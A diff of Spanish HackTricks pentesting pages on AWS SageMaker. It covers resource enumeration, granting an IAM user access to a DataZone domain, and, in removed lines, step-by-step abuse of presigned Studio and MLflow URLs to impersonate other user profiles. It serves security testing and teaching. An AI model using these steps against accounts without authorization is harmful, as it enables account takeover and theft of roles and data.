# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
**Impacto potencial**: Acceso interactivo al rol de ejecución de SageMaker adjunto al UserProfile objetivo.
|
||||
|
||||
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
Un atacante con esos permisos puede conceder a un IAM user acceso a un Sagemaker Unified Studio Domain creando un DataZone User Profile para ese usuario.
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
La URL del Unified Domain tiene el siguiente formato: `https://<domain-id>.sagemaker.<region>.on.aws/` (p. ej. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
|
||||
|
||||
**Impacto potencial:** Acceso al Sagemaker Unified Studio Domain como usuario, lo que permite acceder a todos los recursos del dominio de Sagemaker e incluso escalar privilegios al rol que utilizan los notebooks dentro del Sagemaker Unified Studio Domain.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descripción del servicio
|
||||
## Visión general del servicio
|
||||
|
||||
Amazon SageMaker es la plataforma de aprendizaje automático gestionada de AWS que integra notebooks, infraestructura de entrenamiento, orquestación, registros y endpoints gestionados. Un compromiso de recursos de SageMaker normalmente proporciona:
|
||||
Amazon SageMaker es la plataforma administrada de aprendizaje automático de AWS que aglutina notebooks, infraestructura de entrenamiento, orquestación, registries y endpoints administrados. Una compromisión de recursos de SageMaker normalmente proporciona:
|
||||
|
||||
- Roles de ejecución IAM de larga duración con amplio acceso a S3, ECR, Secrets Manager o KMS.
|
||||
- Acceso a conjuntos de datos sensibles almacenados en S3, EFS o dentro de feature stores.
|
||||
- Puntos de apoyo en la red dentro de VPCs (apps de Studio, training jobs, endpoints).
|
||||
- URLs prefirmadas de alto privilegio que eluden la autenticación de la consola.
|
||||
- Puntos de apoyo en la red dentro de VPCs (Studio apps, training jobs, endpoints).
|
||||
- Presigned URLs de alto privilegio que permiten eludir la autenticación de la consola.
|
||||
|
||||
Comprender cómo está ensamblado SageMaker es clave antes de pivot, persist o exfiltrate datos.
|
||||
Entender cómo está ensamblado SageMaker es clave antes de pivot, persist, or exfiltrate data.
|
||||
|
||||
## Componentes principales
|
||||
|
||||
- **Studio Domains & Spaces**: IDE web (JupyterLab, Code Editor, RStudio). Cada dominio tiene un sistema de archivos EFS compartido y un rol de ejecución predeterminado.
|
||||
- **Notebook Instances**: Instancias EC2 gestionadas para notebooks independientes; usan roles de ejecución separados.
|
||||
- **Training / Processing / Transform Jobs**: Contenedores efímeros que extraen código de ECR y datos de S3.
|
||||
- **Pipelines & Experiments**: Flujos de trabajo orquestados que describen todos los pasos, entradas y salidas.
|
||||
- **Models & Endpoints**: Artefactos empaquetados desplegados para inferencia a través de endpoints HTTPS.
|
||||
- **Feature Store & Data Wrangler**: Servicios gestionados para la preparación de datos y la gestión de features.
|
||||
- **Notebook Instances**: instancias EC2 gestionadas para notebooks autónomos; usan roles de ejecución separados.
|
||||
- **Training / Processing / Transform Jobs**: contenedores efímeros que obtienen código desde ECR y datos desde S3.
|
||||
- **Pipelines & Experiments**: flujos de trabajo orquestados que describen todos los pasos, inputs y outputs.
|
||||
- **Models & Endpoints**: artefactos empaquetados desplegados para inferencia vía endpoints HTTPS.
|
||||
- **Feature Store & Data Wrangler**: servicios gestionados para preparación de datos y gestión de features.
|
||||
- **Autopilot & JumpStart**: ML automatizado y catálogo de modelos curado.
|
||||
- **MLflow Tracking Servers**: UI/API de MLflow gestionados con tokens de acceso prefirmados.
|
||||
- **MLflow Tracking Servers**: UI/API de MLflow gestionada con tokens de acceso presigned.
|
||||
|
||||
Cada recurso referencia un rol de ejecución, ubicaciones S3, imágenes de contenedor y configuración opcional de VPC/KMS—captura todos ellos durante la enumeración.
|
||||
Cada recurso referencia un execution role, ubicaciones S3, imágenes de contenedor y configuración opcional de VPC/KMS—capture todos ellos durante enumeration.
|
||||
|
||||
## Cuenta y metadatos globales
|
||||
## Account & Global Metadata
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Portfolio status, used when provisioning Studio resources
|
||||
@@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
|
||||
# Generic tag sweep across any SageMaker ARN you know
|
||||
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
|
||||
```
|
||||
Anote cualquier cross-account trust (execution roles o S3 buckets con external principals) y las restricciones de línea de base, como service control policies o SCPs.
|
||||
Anota cualquier confianza entre cuentas (execution roles o S3 buckets con external principals) y las restricciones básicas como service control policies o SCPs.
|
||||
|
||||
## Studio Domains, Apps & Shared Spaces
|
||||
## Dominios de Studio, Apps y Espacios Compartidos
|
||||
```bash
|
||||
aws sagemaker list-domains --region $REGION
|
||||
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
|
||||
@@ -63,11 +63,11 @@ aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <n
|
||||
Qué registrar:
|
||||
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
|
||||
- EFS montado (`HomeEfsFileSystemId`) y directorios home en S3.
|
||||
- Lifecycle scripts (a menudo contienen credenciales bootstrap o código adicional push/pull).
|
||||
- EFS montados (`HomeEfsFileSystemId`) y directorios home en S3.
|
||||
- Scripts de lifecycle (a menudo contienen credenciales de bootstrap o código adicional para push/pull).
|
||||
|
||||
> [!TIP]
|
||||
> Presigned Studio URLs pueden eludir la autenticación si se conceden ampliamente.
|
||||
> Presigned Studio URLs pueden eludir la autenticación si se conceden de forma demasiado amplia.
|
||||
|
||||
## Notebook Instances & Lifecycle Configs
|
||||
```bash
|
||||
@@ -80,7 +80,7 @@ Los metadatos del notebook revelan:
|
||||
|
||||
- Rol de ejecución (`RoleArn`), acceso directo a Internet vs. modo solo VPC.
|
||||
- Ubicaciones S3 en `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
|
||||
- Lifecycle scripts para credentials o persistence hooks.
|
||||
- Scripts de ciclo de vida para credenciales o hooks de persistencia.
|
||||
|
||||
## Training, Processing, Transform & Batch Jobs
|
||||
```bash
|
||||
@@ -96,7 +96,7 @@ aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
|
||||
Examinar:
|
||||
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – qué imágenes ECR están desplegadas.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefijos y claves KMS.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes, y KMS keys.
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – determinan la postura de red o de cifrado.
|
||||
- `HyperParameters` pueden leak secretos del entorno o cadenas de conexión.
|
||||
|
||||
@@ -110,9 +110,9 @@ aws sagemaker list-experiments --region $REGION
|
||||
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
|
||||
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
|
||||
```
|
||||
Las definiciones de pipeline detallan cada paso, los roles asociados, las imágenes de contenedor y las variables de entorno. Los componentes de trial a menudo contienen URIs de artefactos de entrenamiento, logs de S3 y métricas que sugieren el flujo de datos sensibles.
|
||||
Las definiciones de pipeline detallan cada paso, los roles asociados, las imágenes de contenedor y las variables de entorno. Los componentes Trial a menudo contienen URIs de artefactos de entrenamiento, registros en S3 y métricas que sugieren el flujo de datos sensibles.
|
||||
|
||||
## Modelos, Configuraciones de Endpoint y Endpoints Desplegados
|
||||
## Modelos, Configuraciones de Endpoint & Endpoints Desplegados
|
||||
```bash
|
||||
aws sagemaker list-models --region $REGION
|
||||
aws sagemaker describe-model --model-name <name> --region $REGION
|
||||
@@ -125,10 +125,10 @@ aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
|
||||
```
|
||||
Áreas de enfoque:
|
||||
|
||||
- URIs de artefactos de modelo en S3 (`PrimaryContainer.ModelDataUrl`) y las imágenes de contenedor de inferencia.
|
||||
- Configuración de captura de datos del endpoint (S3 bucket, KMS) para posible exfiltración de logs.
|
||||
- URIs S3 de artefactos de modelo (`PrimaryContainer.ModelDataUrl`) e imágenes de contenedores de inferencia.
|
||||
- Configuración de captura de datos del endpoint (bucket S3, KMS) para posible exfiltración de logs.
|
||||
- Endpoints multi-model que usan `S3DataSource` o `ModelPackage` (verificar empaquetado entre cuentas).
|
||||
- Configuraciones de red y grupos de seguridad adjuntos a endpoints.
|
||||
- Configuraciones de red y grupos de seguridad adjuntos a los endpoints.
|
||||
|
||||
## Feature Store, Data Wrangler & Clarify
|
||||
```bash
|
||||
@@ -143,9 +143,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION
|
||||
```
|
||||
Conclusiones de seguridad:
|
||||
|
||||
- Online feature stores replican datos a Kinesis; revisa `OnlineStoreConfig.SecurityConfig.KmsKeyId` y VPC.
|
||||
- Online feature stores replican datos a Kinesis; comprueba `OnlineStoreConfig.SecurityConfig.KmsKeyId` y la VPC.
|
||||
- Los flujos de Data Wrangler suelen incrustar credenciales JDBC/Redshift o endpoints privados.
|
||||
- Los trabajos de Clarify/Model Monitor exportan datos a S3 que podrían ser legibles públicamente o accesibles desde otras cuentas.
|
||||
- Los jobs de Clarify/Model Monitor exportan datos a S3 que podrían ser legibles por todo el mundo o accesibles entre cuentas.
|
||||
|
||||
## MLflow Tracking Servers, Autopilot & JumpStart
|
||||
```bash
|
||||
@@ -158,41 +158,41 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
|
||||
aws sagemaker list-jumpstart-models --region $REGION
|
||||
aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
```
|
||||
- Los servidores de tracking de MLflow almacenan experimentos y artefactos; las presigned URLs pueden exponer todo.
|
||||
- Los jobs de Autopilot inician múltiples training jobs — enumera los outputs en busca de datos ocultos.
|
||||
- Los servidores de tracking de MLflow almacenan experimentos y artefactos; las presigned URLs pueden exponerlo todo.
|
||||
- Los jobs de Autopilot lanzan múltiples training jobs: enumera las salidas en busca de datos ocultos.
|
||||
- Las arquitecturas de referencia de JumpStart pueden desplegar roles privilegiados en la cuenta.
|
||||
|
||||
## Consideraciones de IAM y redes
|
||||
## IAM y consideraciones de red
|
||||
|
||||
- Enumera las políticas de IAM adjuntas a todos los roles de ejecución (Studio, notebooks, training jobs, pipelines, endpoints).
|
||||
- Revisa el contexto de red: subnets, security groups, VPC endpoints. Muchas organizaciones aíslan los training jobs pero olvidan restringir el tráfico saliente.
|
||||
- Revisa las políticas de los buckets S3 referenciadas en `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` para acceso externo.
|
||||
- Revisa los contextos de red: subnets, security groups, VPC endpoints. Muchas organizaciones aíslan los training jobs pero olvidan restringir el tráfico saliente.
|
||||
- Revisa las políticas de los buckets S3 referenciadas en `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` para detectar acceso externo.
|
||||
|
||||
## Escalada de privilegios
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistencia
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-sagemaker-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Post-explotación
|
||||
## Post-Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Acceso no autorizado
|
||||
## Unauthorized Access
|
||||
|
||||
{{#ref}}
|
||||
../aws-sagemaker-unauthenticated-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
|
||||
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
|
||||
|
||||
@@ -1,108 +1,13 @@
|
||||
# AWS - SageMaker Acceso no autorizado
|
||||
# AWS - SageMaker Acceso No Autorizado
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - Secuestro de cuenta via CreatePresignedDomainUrl (Suplantar cualquier UserProfile)
|
||||
## Presigned URLs para SageMaker
|
||||
|
||||
### Descripción
|
||||
Una identidad con permiso para invocar `sagemaker:CreatePresignedDomainUrl` sobre un `UserProfile` objetivo de Studio puede generar una URL de acceso que autentica directamente en SageMaker Studio como ese perfil. Esto proporciona al navegador del atacante una sesión de Studio que hereda los permisos del `ExecutionRole` del perfil y acceso completo al home respaldado por EFS y a las apps del perfil. No se requiere `iam:PassRole` ni acceso a la consola.
|
||||
Si un attacker logra obtener una presigned URL para un recurso de SageMaker, puede acceder sin ninguna otra autenticación. Los permisos y el nivel de acceso dependerán del rol asociado con el recurso:
|
||||
|
||||
### Requisitos
|
||||
- Un SageMaker Studio `Domain` y un `UserProfile` objetivo dentro del mismo.
|
||||
- El principal atacante necesita `sagemaker:CreatePresignedDomainUrl` sobre el `UserProfile` objetivo (a nivel de recurso) o `*`.
|
||||
|
||||
Ejemplo mínimo de policy (limitado a un UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Pasos de abuso
|
||||
|
||||
1) Enumera un Studio Domain y UserProfiles a los que puedas apuntar
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Generar una presigned URL (válida ~5 minutos por defecto)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Abra la URL devuelta en un navegador para iniciar sesión en Studio como el usuario objetivo. En un terminal de Jupyter dentro de Studio, verifique la identidad efectiva:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notas:
|
||||
- `--landing-uri` puede omitirse. Algunos valores (p. ej., `app:JupyterLab:/lab`) pueden ser rechazados según la variante/versión de Studio; los valores por defecto normalmente redirigen a la página principal de Studio y luego a Jupyter.
|
||||
- Las políticas de la organización/restricciones de endpoints VPC aún pueden bloquear el acceso a la red; la emisión del token no requiere inicio de sesión en la consola ni `iam:PassRole`.
|
||||
|
||||
### Impacto
|
||||
- Movimiento lateral y escalada de privilegios al asumir cualquier Studio `UserProfile` cuyo ARN esté permitido, heredando su `ExecutionRole` y sistema de archivos/aplicaciones.
|
||||
|
||||
### Evidencia (de una prueba controlada)
|
||||
- Con solo `sagemaker:CreatePresignedDomainUrl` en un `UserProfile` objetivo, el rol atacante devolvió con éxito un `AuthorizedUrl` como:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- Una solicitud HTTP directa responde con una redirección (HTTP 302) a Studio, confirmando que la URL es válida y está activa hasta su expiración.
|
||||
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### Descripción
|
||||
Una identidad con permiso para llamar a `sagemaker:CreatePresignedMlflowTrackingServerUrl` para un SageMaker MLflow Tracking Server objetivo puede generar una URL prefirmada de un solo uso que autentica directamente en la interfaz de usuario gestionada de MLflow para ese servidor. Esto concede el mismo acceso que tendría un usuario legítimo al servidor (ver/crear experimentos y ejecuciones, y descargar/subir artefactos en el almacén de artefactos S3 del servidor) sin acceso a la consola ni `iam:PassRole`.
|
||||
|
||||
### Requisitos
|
||||
- Un SageMaker MLflow Tracking Server en la cuenta/región y su nombre.
|
||||
- El principal atacante necesita `sagemaker:CreatePresignedMlflowTrackingServerUrl` en el recurso MLflow Tracking Server objetivo (o `*`).
|
||||
|
||||
Ejemplo de política mínima (limitada a un Tracking Server):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Pasos de abuso
|
||||
|
||||
1) Enumera MLflow Tracking Servers a los que puedas apuntar y elige uno
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Generar una URL presignada de MLflow UI (válida por poco tiempo)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Abra la URL devuelta en un navegador para acceder al MLflow UI como usuario autenticado para ese Tracking Server.
|
||||
|
||||
Notas:
|
||||
- El Tracking Server debe estar en un estado listo (p. ej., `Created/Active`). Si aún está `Creating`, la llamada será rechazada.
|
||||
- La URL prefirmada es de un solo uso y de corta duración; genere una nueva cuando sea necesario.
|
||||
|
||||
### Impacto
|
||||
- Acceso directo al MLflow UI administrado para el Tracking Server objetivo, permitiendo ver y modificar experiments/runs y la recuperación o carga de artifacts almacenados en el S3 artifact store configurado del servidor, dentro de los permisos impuestos por la configuración del servidor.
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user